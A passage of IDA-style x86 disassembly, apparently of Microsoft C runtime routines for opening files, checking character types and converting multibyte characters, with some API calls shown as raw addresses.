loc_427D5F: ; CODE XREF: sub_427CA0+A1j mov eax, [ebp+arg_0] push eax call sub_427C70 add esp, 4 mov eax, [ebp+var_4] loc_427D6E: ; CODE XREF: sub_427CA0+3Fj mov esp, ebp pop ebp retn sub_427CA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427D80 proc near ; CODE XREF: sub_41DA90+98p ; sub_41FFF0+ECp ... var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4345B8 push offset sub_426A54 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE4h push ebx push esi push edi mov [ebp+var_18], esp cmp dword_4DB300, 0 jnz short loc_427DFE lea eax, [ebp+var_1C] push eax push 1 push offset dword_434260 push 1 nop call near ptr 2650000h test eax, eax jz short loc_427DD2 mov dword_4DB300, 1 jmp short loc_427DFE ; --------------------------------------------------------------------------- loc_427DD2: ; CODE XREF: sub_427D80+44j lea ecx, [ebp+var_1C] push ecx push 1 push offset dword_43425C push 1 push 0 nop call near ptr 2660000h test eax, eax jz short loc_427DF7 mov dword_4DB300, 2 jmp short loc_427DFE ; --------------------------------------------------------------------------- loc_427DF7: ; CODE XREF: sub_427D80+69j xor eax, eax jmp loc_427F28 ; --------------------------------------------------------------------------- loc_427DFE: ; CODE XREF: sub_427D80+2Dj ; sub_427D80+50j ... cmp dword_4DB300, 2 jnz short loc_427E35 cmp [ebp+arg_14], 0 jnz short loc_427E16 mov edx, dword_4DB1B8 mov [ebp+arg_14], edx loc_427E16: ; CODE XREF: sub_427D80+8Bj mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_14] push ecx nop call near ptr 2660000h jmp loc_427F28 ; --------------------------------------------------------------------------- loc_427E35: ; CODE XREF: sub_427D80+85j cmp dword_4DB300, 1 jnz loc_427F26 cmp [ebp+arg_10], 0 jnz short loc_427E51 mov edx, dword_4DB1C8 mov [ebp+arg_10], edx loc_427E51: ; CODE XREF: sub_427D80+C6j push 0 push 0 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_18] neg edx sbb edx, edx and edx, 8 add edx, 1 push edx mov eax, [ebp+arg_10] push eax nop call near ptr 2810000h mov [ebp+var_20], eax cmp [ebp+var_20], 0 jnz short loc_427E85 xor eax, eax jmp loc_427F28 ; --------------------------------------------------------------------------- loc_427E85: ; CODE XREF: sub_427D80+FCj mov [ebp+var_4], 0 mov eax, [ebp+var_20] shl eax, 1 add eax, 3 and al, 0FCh call sub_417E20 mov [ebp+var_2C], esp mov [ebp+var_18], esp mov ecx, [ebp+var_2C] mov [ebp+var_24], ecx mov edx, [ebp+var_20] shl edx, 1 push edx push 0 mov eax, [ebp+var_24] push eax call sub_417070 add esp, 0Ch mov [ebp+var_4], 0FFFFFFFFh jmp short loc_427EDB ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_24], 0 mov [ebp+var_4], 0FFFFFFFFh loc_427EDB: ; CODE XREF: sub_427D80+142j cmp [ebp+var_24], 0 jnz short loc_427EE5 xor eax, eax jmp short loc_427F28 ; --------------------------------------------------------------------------- loc_427EE5: ; CODE XREF: sub_427D80+15Fj mov ecx, [ebp+var_20] push ecx mov edx, [ebp+var_24] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx push 1 mov edx, [ebp+arg_10] push edx call near ptr 2810000h nop mov [ebp+var_28], eax cmp [ebp+var_28], 0 jnz short loc_427F0E xor eax, eax jmp short loc_427F28 ; --------------------------------------------------------------------------- loc_427F0E: ; CODE XREF: sub_427D80+188j mov eax, [ebp+arg_C] push eax mov ecx, [ebp+var_28] push ecx mov edx, [ebp+var_24] push edx mov eax, [ebp+arg_0] push eax nop call near ptr 2650000h jmp short loc_427F28 ; --------------------------------------------------------------------------- loc_427F26: ; CODE XREF: sub_427D80+BCj xor eax, eax loc_427F28: ; CODE XREF: sub_427D80+79j ; sub_427D80+B0j ... lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_427D80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427F40 proc near ; CODE XREF: sub_41DB50+A1p ; sub_41E730+137p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi loc_427F47: ; CODE XREF: sub_427F40+2Fj cmp [ebp+arg_0], 0 jnz short loc_427F6B push offset dword_4334B4 push 0 push 2Eh push offset dword_4345C4 push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_427F6B int 3 ; Trap to Debugger loc_427F6B: ; CODE XREF: sub_427F40+Bj ; sub_427F40+28j xor eax, eax test eax, eax jnz short loc_427F47 mov ecx, dword_4DB110 add ecx, 1 mov dword_4DB110, ecx mov edx, [ebp+arg_0] mov [ebp+var_4], edx push 3Bh push offset dword_4345C4 push 2 push 1000h call sub_414DD0 add esp, 10h mov ecx, [ebp+var_4] mov [ecx+8], eax mov edx, [ebp+var_4] cmp dword ptr [edx+8], 0 jz short loc_427FC6 mov eax, [ebp+var_4] mov ecx, [eax+0Ch] or ecx, 8 mov edx, [ebp+var_4] mov [edx+0Ch], ecx mov eax, [ebp+var_4] mov dword ptr [eax+18h], 1000h jmp short loc_427FEB ; --------------------------------------------------------------------------- loc_427FC6: ; CODE XREF: sub_427F40+69j mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] or edx, 4 mov eax, [ebp+var_4] mov [eax+0Ch], edx mov ecx, [ebp+var_4] add ecx, 14h mov edx, [ebp+var_4] mov [edx+8], ecx mov eax, [ebp+var_4] mov dword ptr [eax+18h], 2 loc_427FEB: ; CODE XREF: sub_427F40+84j mov ecx, [ebp+var_4] mov edx, [ebp+var_4] mov eax, [edx+8] mov [ecx], eax mov ecx, [ebp+var_4] mov dword ptr [ecx+4], 0 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_427F40 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 lea eax, [ebp+10h] mov [ebp-8], eax mov ecx, [ebp-8] add ecx, 4 mov [ebp-8], ecx mov edx, [ebp-8] mov eax, [edx-4] mov [ebp-4], eax mov dword ptr [ebp-8], 0 mov ecx, [ebp-4] push ecx push 40h mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call sub_428050 add esp, 10h mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428050 proc near ; CODE XREF: sub_41E220+2B0p ; ___:00428043p var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 48h mov [ebp+var_24], 0Ch mov [ebp+var_20], 0 mov eax, [ebp+arg_4] and eax, 80h test eax, eax jz short loc_42807D mov [ebp+var_1C], 0 mov [ebp+var_38], 10h jmp short loc_428088 ; --------------------------------------------------------------------------- loc_42807D: ; CODE XREF: sub_428050+1Ej mov [ebp+var_1C], 1 mov [ebp+var_38], 0 loc_428088: ; CODE XREF: sub_428050+2Bj mov ecx, [ebp+arg_4] and ecx, 8000h test ecx, ecx jnz short loc_4280C1 mov edx, [ebp+arg_4] and edx, 4000h test edx, edx jz short loc_4280AC mov al, [ebp+var_38] or al, 80h mov [ebp+var_38], al jmp short loc_4280C1 ; --------------------------------------------------------------------------- loc_4280AC: ; CODE XREF: sub_428050+50j cmp dword_4DB42C, 8000h jz short loc_4280C1 mov cl, [ebp+var_38] or cl, 80h mov [ebp+var_38], cl loc_4280C1: ; CODE XREF: sub_428050+43j ; sub_428050+5Aj ... mov edx, [ebp+arg_4] and edx, 3 mov [ebp+var_40], edx cmp [ebp+var_40], 0 jz short loc_4280DE cmp [ebp+var_40], 1 jz short loc_4280E7 cmp [ebp+var_40], 2 jz short loc_4280F0 jmp short loc_4280F9 ; --------------------------------------------------------------------------- loc_4280DE: ; CODE XREF: sub_428050+7Ej mov [ebp+var_34], 80000000h jmp short loc_428117 ; --------------------------------------------------------------------------- loc_4280E7: ; CODE XREF: sub_428050+84j mov [ebp+var_34], 40000000h jmp short loc_428117 ; --------------------------------------------------------------------------- loc_4280F0: ; CODE XREF: sub_428050+8Aj mov [ebp+var_34], 0C0000000h jmp short loc_428117 ; --------------------------------------------------------------------------- loc_4280F9: ; CODE XREF: sub_428050+8Cj call sub_420520 mov dword ptr [eax], 16h call sub_420530 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp loc_42855A ; --------------------------------------------------------------------------- loc_428117: ; CODE XREF: sub_428050+95j ; sub_428050+9Ej ... mov eax, [ebp+arg_8] mov [ebp+var_44], eax mov ecx, [ebp+var_44] sub ecx, 10h mov [ebp+var_44], ecx cmp [ebp+var_44], 30h ja short loc_428162 mov eax, [ebp+var_44] xor edx, edx mov dl, byte_428572[eax] jmp off_42855E[edx*4] loc_42813E: ; DATA XREF: ___:off_42855Eo mov [ebp+var_8], 0 jmp short loc_428180 ; --------------------------------------------------------------------------- loc_428147: ; CODE XREF: sub_428050+E7j ; DATA XREF: ___:00428562o mov [ebp+var_8], 1 jmp short loc_428180 ; --------------------------------------------------------------------------- loc_428150: ; CODE XREF: sub_428050+E7j ; DATA XREF: ___:00428566o mov [ebp+var_8], 2 jmp short loc_428180 ; --------------------------------------------------------------------------- loc_428159: ; CODE XREF: sub_428050+E7j ; DATA XREF: ___:0042856Ao mov [ebp+var_8], 3 jmp short loc_428180 ; --------------------------------------------------------------------------- loc_428162: ; CODE XREF: sub_428050+DAj ; sub_428050+E7j ; DATA XREF: ... call sub_420520 mov dword ptr [eax], 16h call sub_420530 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp loc_42855A ; --------------------------------------------------------------------------- loc_428180: ; CODE XREF: sub_428050+F5j ; sub_428050+FEj ... mov ecx, [ebp+arg_4] and ecx, 700h mov [ebp+var_48], ecx cmp [ebp+var_48], 400h jg short loc_4281CC cmp [ebp+var_48], 400h jz short loc_4281E9 cmp [ebp+var_48], 200h jg short loc_4281C1 cmp [ebp+var_48], 200h jz short loc_428204 cmp [ebp+var_48], 0 jz short loc_4281E9 cmp [ebp+var_48], 100h jz short loc_4281F2 jmp short loc_428216 ; --------------------------------------------------------------------------- loc_4281C1: ; CODE XREF: sub_428050+155j cmp [ebp+var_48], 300h jz short loc_42820D jmp short loc_428216 ; --------------------------------------------------------------------------- loc_4281CC: ; CODE XREF: sub_428050+143j cmp [ebp+var_48], 500h jz short loc_4281FB cmp [ebp+var_48], 600h jz short loc_428204 cmp [ebp+var_48], 700h jz short loc_4281FB jmp short loc_428216 ; --------------------------------------------------------------------------- loc_4281E9: ; CODE XREF: sub_428050+14Cj ; sub_428050+164j mov [ebp+var_18], 3 jmp short loc_428234 ; --------------------------------------------------------------------------- loc_4281F2: ; CODE XREF: sub_428050+16Dj mov [ebp+var_18], 4 jmp short loc_428234 ; --------------------------------------------------------------------------- loc_4281FB: ; CODE XREF: sub_428050+183j ; sub_428050+195j mov [ebp+var_18], 1 jmp short loc_428234 ; --------------------------------------------------------------------------- loc_428204: ; CODE XREF: sub_428050+15Ej ; sub_428050+18Cj mov [ebp+var_18], 5 jmp short loc_428234 ; --------------------------------------------------------------------------- loc_42820D: ; CODE XREF: sub_428050+178j mov [ebp+var_18], 2 jmp short loc_428234 ; --------------------------------------------------------------------------- loc_428216: ; CODE XREF: sub_428050+16Fj ; sub_428050+17Aj ... call sub_420520 mov dword ptr [eax], 16h call sub_420530 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp loc_42855A ; --------------------------------------------------------------------------- loc_428234: ; CODE XREF: sub_428050+1A0j ; sub_428050+1A9j ... mov [ebp+var_28], 80h mov edx, [ebp+arg_4] and edx, 100h test edx, edx jz short loc_428285 lea eax, [ebp+arg_C] mov [ebp+var_2C], eax mov ecx, [ebp+var_2C] add ecx, 4 mov [ebp+var_2C], ecx mov edx, [ebp+var_2C] mov eax, [edx-4] mov [ebp+var_10], eax mov [ebp+var_2C], 0 mov ecx, dword_4DB0AC not ecx mov edx, [ebp+var_10] and edx, ecx and edx, 80h test edx, edx jnz short loc_428285 mov [ebp+var_28], 1 loc_428285: ; CODE XREF: sub_428050+1F6j ; sub_428050+22Cj mov eax, [ebp+arg_4] and eax, 40h test eax, eax jz short loc_4282A7 mov ecx, [ebp+var_28] or ecx, 4000000h mov [ebp+var_28], ecx mov edx, [ebp+var_34] or edx, 10000h mov [ebp+var_34], edx loc_4282A7: ; CODE XREF: sub_428050+23Dj mov eax, [ebp+arg_4] and eax, 1000h test eax, eax jz short loc_4282BC mov ecx, [ebp+var_28] or ch, 1 mov [ebp+var_28], ecx loc_4282BC: ; CODE XREF: sub_428050+261j mov edx, [ebp+arg_4] and edx, 20h test edx, edx jz short loc_4282D3 mov eax, [ebp+var_28] or eax, 8000000h mov [ebp+var_28], eax jmp short loc_4282E9 ; --------------------------------------------------------------------------- loc_4282D3: ; CODE XREF: sub_428050+274j mov ecx, [ebp+arg_4] and ecx, 10h test ecx, ecx jz short loc_4282E9 mov edx, [ebp+var_28] or edx, 10000000h mov [ebp+var_28], edx loc_4282E9: ; CODE XREF: sub_428050+281j ; sub_428050+28Bj call sub_4276D0 mov [ebp+var_14], eax cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_428315 call sub_420520 mov dword ptr [eax], 18h call sub_420530 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp loc_42855A ; --------------------------------------------------------------------------- loc_428315: ; CODE XREF: sub_428050+2A5j push 0 mov eax, [ebp+var_28] push eax mov ecx, [ebp+var_18] push ecx lea edx, [ebp+var_24] push edx mov eax, [ebp+var_8] push eax mov ecx, [ebp+var_34] push ecx mov edx, [ebp+arg_0] push edx nop call near ptr 2760000h mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_428361 call near ptr 26908EFh nop push eax call sub_420480 add esp, 4 mov eax, [ebp+var_14] push eax call sub_427C70 add esp, 4 or eax, 0FFFFFFFFh jmp loc_42855A ; --------------------------------------------------------------------------- loc_428361: ; CODE XREF: sub_428050+2ECj mov ecx, [ebp+var_4] push ecx nop call near ptr 28C0000h mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_4283A1 mov edx, [ebp+var_4] push edx call near ptr 267009Bh nop nop call near ptr 26908EFh push eax call sub_420480 add esp, 4 mov eax, [ebp+var_14] push eax call sub_427C70 add esp, 4 or eax, 0FFFFFFFFh jmp loc_42855A ; --------------------------------------------------------------------------- loc_4283A1: ; CODE XREF: sub_428050+322j cmp [ebp+var_C], 2 jnz short loc_4283B2 mov cl, [ebp+var_38] or cl, 40h mov [ebp+var_38], cl jmp short loc_4283C1 ; --------------------------------------------------------------------------- loc_4283B2: ; CODE XREF: sub_428050+355j cmp [ebp+var_C], 3 jnz short loc_4283C1 mov dl, [ebp+var_38] or dl, 8 mov [ebp+var_38], dl loc_4283C1: ; CODE XREF: sub_428050+360j ; sub_428050+366j mov eax, [ebp+var_4] push eax mov ecx, [ebp+var_14] push ecx call sub_4278C0 add esp, 8 mov dl, [ebp+var_38] or dl, 1 mov [ebp+var_38], dl mov eax, [ebp+var_14] sar eax, 5 mov ecx, [ebp+var_14] and ecx, 1Fh imul ecx, 24h mov edx, dword_4DB460[eax*4] mov al, [ebp+var_38] mov [edx+ecx+4], al movsx ecx, [ebp+var_38] and ecx, 48h test ecx, ecx jnz loc_4284FF movsx edx, [ebp+var_38] and edx, 80h test edx, edx jz loc_4284FF mov eax, [ebp+arg_4] and eax, 2 test eax, eax jz loc_4284FF push 2 push 0FFFFFFFFh mov ecx, [ebp+var_14] push ecx call sub_4254B0 add esp, 0Ch mov [ebp+var_3C], eax cmp [ebp+var_3C], 0FFFFFFFFh jnz short loc_428471 call sub_420530 cmp dword ptr [eax], 83h jz short loc_42846C mov edx, [ebp+var_14] push edx call sub_41B1B0 add esp, 4 mov eax, [ebp+var_14] push eax call sub_427C70 add esp, 4 or eax, 0FFFFFFFFh jmp loc_42855A ; --------------------------------------------------------------------------- loc_42846C: ; CODE XREF: sub_428050+3FAj jmp loc_4284FF ; --------------------------------------------------------------------------- loc_428471: ; CODE XREF: sub_428050+3EDj mov [ebp+var_30], 0 push 1 lea ecx, [ebp+var_30] push ecx mov edx, [ebp+var_14] push edx call sub_41DDD0 add esp, 0Ch test eax, eax jnz short loc_4284C9 movsx eax, [ebp+var_30] cmp eax, 1Ah jnz short loc_4284C9 mov ecx, [ebp+var_3C] push ecx mov edx, [ebp+var_14] push edx call sub_42CE20 add esp, 8 cmp eax, 0FFFFFFFFh jnz short loc_4284C9 mov eax, [ebp+var_14] push eax call sub_41B1B0 add esp, 4 mov ecx, [ebp+var_14] push ecx call sub_427C70 add esp, 4 or eax, 0FFFFFFFFh jmp loc_42855A ; --------------------------------------------------------------------------- loc_4284C9: ; CODE XREF: sub_428050+439j ; sub_428050+442j ... push 0 push 0 mov edx, [ebp+var_14] push edx call sub_4254B0 add esp, 0Ch mov [ebp+var_3C], eax cmp [ebp+var_3C], 0FFFFFFFFh jnz short loc_4284FF mov eax, [ebp+var_14] push eax call sub_41B1B0 add esp, 4 mov ecx, [ebp+var_14] push ecx call sub_427C70 add esp, 4 or eax, 0FFFFFFFFh jmp short loc_42855A ; --------------------------------------------------------------------------- loc_4284FF: ; CODE XREF: sub_428050+3B0j ; sub_428050+3C2j ... movsx edx, [ebp+var_38] and edx, 48h test edx, edx jnz short loc_42854B mov eax, [ebp+arg_4] and eax, 8 test eax, eax jz short loc_42854B mov ecx, [ebp+var_14] sar ecx, 5 mov edx, [ebp+var_14] and edx, 1Fh imul edx, 24h mov eax, dword_4DB460[ecx*4] mov cl, [eax+edx+4] or cl, 20h mov edx, [ebp+var_14] sar edx, 5 mov eax, [ebp+var_14] and eax, 1Fh imul eax, 24h mov edx, dword_4DB460[edx*4] mov [edx+eax+4], cl loc_42854B: ; CODE XREF: sub_428050+4B8j ; sub_428050+4C2j mov eax, [ebp+var_14] push eax call sub_427C70 add esp, 4 mov eax, [ebp+var_14] loc_42855A: ; CODE XREF: sub_428050+C2j ; sub_428050+12Bj ... mov esp, ebp pop ebp retn sub_428050 endp ; --------------------------------------------------------------------------- off_42855E dd offset loc_42813E ; DATA XREF: sub_428050+E7r dd offset loc_428147 dd offset loc_428150 dd offset loc_428159 dd offset loc_428162 byte_428572 db 0 ; DATA XREF: sub_428050+E1r db 4 dd 3 dup(4040404h), 4010404h, 3 dup(4040404h), 4020404h dd 3 dup(4040404h), 0CC030404h, 3 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4285B0 proc near ; CODE XREF: sub_41E730+127p ; sub_420720+40p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] cmp eax, dword_4DB560 jb short loc_4285C2 xor eax, eax jmp short loc_4285E0 ; --------------------------------------------------------------------------- loc_4285C2: ; CODE XREF: sub_4285B0+Cj mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4DB460[ecx*4] movsx eax, byte ptr [eax+edx+4] and eax, 40h loc_4285E0: ; CODE XREF: sub_4285B0+10j pop ebp retn sub_4285B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4285F0 proc near ; CODE XREF: sub_41E9B0+3CAp ; sub_41E9B0+B90p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp sub esp, 8 push offset dword_4DB45C call near ptr 2840CCAh nop cmp dword_4DB458, 0 jz short loc_428628 push offset dword_4DB45C nop call near ptr 2840C7Bh push 13h call sub_41B780 add esp, 4 mov [ebp+var_4], 1 jmp short loc_42862F ; --------------------------------------------------------------------------- loc_428628: ; CODE XREF: sub_4285F0+18j mov [ebp+var_4], 0 loc_42862F: ; CODE XREF: sub_4285F0+36j mov ax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_428670 add esp, 8 mov [ebp+var_8], eax cmp [ebp+var_4], 0 jz short loc_428655 push 13h call sub_41B820 add esp, 4 jmp short loc_428660 ; --------------------------------------------------------------------------- loc_428655: ; CODE XREF: sub_4285F0+57j push offset dword_4DB45C nop call near ptr 2840C7Bh loc_428660: ; CODE XREF: sub_4285F0+63j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_4285F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428670 proc near ; CODE XREF: sub_4285F0+48p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 cmp [ebp+arg_0], 0 jnz short loc_428683 xor eax, eax jmp loc_42870C ; --------------------------------------------------------------------------- loc_428683: ; CODE XREF: sub_428670+Aj cmp dword_4DB1B8, 0 jnz short loc_4286BA mov eax, [ebp+arg_4] and eax, 0FFFFh cmp eax, 0FFh jle short loc_4286AB call sub_420520 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_42870C ; --------------------------------------------------------------------------- loc_4286AB: ; CODE XREF: sub_428670+29j mov ecx, [ebp+arg_0] mov dl, byte ptr [ebp+arg_4] mov [ecx], dl mov eax, 1 jmp short loc_42870C ; --------------------------------------------------------------------------- loc_4286BA: ; CODE XREF: sub_428670+1Aj mov [ebp+var_8], 0 lea eax, [ebp+var_8] push eax push 0 mov ecx, dword_443B70 push ecx mov edx, [ebp+arg_0] push edx push 1 lea eax, [ebp+arg_4] push eax push 220h mov ecx, dword_4DB1C8 push ecx call near ptr 2710000h nop mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4286F9 cmp [ebp+var_8], 0 jz short loc_428709 loc_4286F9: ; CODE XREF: sub_428670+81j call sub_420520 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_42870C ; --------------------------------------------------------------------------- loc_428709: ; CODE XREF: sub_428670+87j mov eax, [ebp+var_4] loc_42870C: ; CODE XREF: sub_428670+Ej ; sub_428670+39j ... mov esp, ebp pop ebp retn sub_428670 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428710 proc near ; CODE XREF: sub_420920+74Ep var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push offset dword_4DB45C nop call near ptr 2840CCAh cmp dword_4DB458, 0 jz short loc_428748 push offset dword_4DB45C nop call near ptr 2840C7Bh push 13h call sub_41B780 add esp, 4 mov [ebp+var_4], 1 jmp short loc_42874F ; --------------------------------------------------------------------------- loc_428748: ; CODE XREF: sub_428710+18j mov [ebp+var_4], 0 loc_42874F: ; CODE XREF: sub_428710+36j mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_428790 add esp, 0Ch mov [ebp+var_8], eax cmp [ebp+var_4], 0 jz short loc_428778 push 13h call sub_41B820 add esp, 4 jmp short loc_428783 ; --------------------------------------------------------------------------- loc_428778: ; CODE XREF: sub_428710+5Aj push offset dword_4DB45C nop call near ptr 2840C7Bh loc_428783: ; CODE XREF: sub_428710+66j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_428710 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428790 proc near ; CODE XREF: sub_428710+4Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi loc_428796: ; CODE XREF: sub_428790+3Aj cmp dword_443B70, 1 jz short loc_4287C6 cmp dword_443B70, 2 jz short loc_4287C6 push offset aMb_cur_max1Mb_ ; "MB_CUR_MAX == 1 || MB_CUR_MAX == 2" push 0 push 4Fh push offset dword_4345D0 push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_4287C6 int 3 ; Trap to Debugger loc_4287C6: ; CODE XREF: sub_428790+Dj ; sub_428790+16j ... xor eax, eax test eax, eax jnz short loc_428796 cmp [ebp+arg_4], 0 jz short loc_4287D8 cmp [ebp+arg_8], 0 jnz short loc_4287DF loc_4287D8: ; CODE XREF: sub_428790+40j xor eax, eax jmp loc_4288E9 ; --------------------------------------------------------------------------- loc_4287DF: ; CODE XREF: sub_428790+46j mov ecx, [ebp+arg_4] movsx edx, byte ptr [ecx] test edx, edx jnz short loc_4287FE cmp [ebp+arg_0], 0 jz short loc_4287F7 mov eax, [ebp+arg_0] mov word ptr [eax], 0 loc_4287F7: ; CODE XREF: sub_428790+5Dj xor eax, eax jmp loc_4288E9 ; --------------------------------------------------------------------------- loc_4287FE: ; CODE XREF: sub_428790+57j cmp dword_4DB1B8, 0 jnz short loc_428824 cmp [ebp+arg_0], 0 jz short loc_42881A mov ecx, [ebp+arg_4] movzx dx, byte ptr [ecx] mov eax, [ebp+arg_0] mov [eax], dx loc_42881A: ; CODE XREF: sub_428790+7Bj mov eax, 1 jmp loc_4288E9 ; --------------------------------------------------------------------------- loc_428824: ; CODE XREF: sub_428790+75j mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov eax, off_443C7C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 8000h test ecx, ecx jz short loc_4288AD cmp dword_443B70, 1 jle short loc_428880 mov edx, [ebp+arg_8] cmp edx, dword_443B70 jl short loc_428880 xor eax, eax cmp [ebp+arg_0], 0 setnz al push eax mov ecx, [ebp+arg_0] push ecx mov edx, dword_443B70 push edx mov eax, [ebp+arg_4] push eax push 9 mov ecx, dword_4DB1C8 push ecx nop call near ptr 2810000h test eax, eax jnz short loc_4288A6 loc_428880: ; CODE XREF: sub_428790+B7j ; sub_428790+C2j mov edx, [ebp+arg_8] cmp edx, dword_443B70 jb short loc_428896 mov eax, [ebp+arg_4] movsx ecx, byte ptr [eax+1] test ecx, ecx jnz short loc_4288A6 loc_428896: ; CODE XREF: sub_428790+F9j call sub_420520 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_4288E9 ; --------------------------------------------------------------------------- loc_4288A6: ; CODE XREF: sub_428790+EEj ; sub_428790+104j mov eax, dword_443B70 jmp short loc_4288E9 ; --------------------------------------------------------------------------- loc_4288AD: ; CODE XREF: sub_428790+AEj xor edx, edx cmp [ebp+arg_0], 0 setnz dl push edx mov eax, [ebp+arg_0] push eax push 1 mov ecx, [ebp+arg_4] push ecx push 9 mov edx, dword_4DB1C8 push edx nop call near ptr 2810000h test eax, eax jnz short loc_4288E4 call sub_420520 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_4288E9 ; --------------------------------------------------------------------------- loc_4288E4: ; CODE XREF: sub_428790+142j mov eax, 1 loc_4288E9: ; CODE XREF: sub_428790+4Aj ; sub_428790+69j ... pop edi pop esi pop ebx pop ebp retn sub_428790 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_443B70, 1 jle short loc_428913 push 103h mov eax, [ebp+8] push eax call sub_41DA90 add esp, 8 mov [ebp-4], eax jmp short loc_42892A ; --------------------------------------------------------------------------- loc_428913: ; CODE XREF: ___:004288FBj mov ecx, [ebp+8] mov edx, off_443C7C xor eax, eax mov ax, [edx+ecx*2] and eax, 103h mov [ebp-4], eax loc_42892A: ; CODE XREF: ___:00428911j mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_443B70, 1 jle short loc_428960 push 1 mov eax, [ebp+8] push eax call sub_41DA90 add esp, 8 mov [ebp-4], eax jmp short loc_428975 ; --------------------------------------------------------------------------- loc_428960: ; CODE XREF: ___:0042894Bj mov ecx, [ebp+8] mov edx, off_443C7C xor eax, eax mov ax, [edx+ecx*2] and eax, 1 mov [ebp-4], eax loc_428975: ; CODE XREF: ___:0042895Ej mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_443B70, 1 jle short loc_4289A0 push 2 mov eax, [ebp+8] push eax call sub_41DA90 add esp, 8 mov [ebp-4], eax jmp short loc_4289B5 ; --------------------------------------------------------------------------- loc_4289A0: ; CODE XREF: ___:0042898Bj mov ecx, [ebp+8] mov edx, off_443C7C xor eax, eax mov ax, 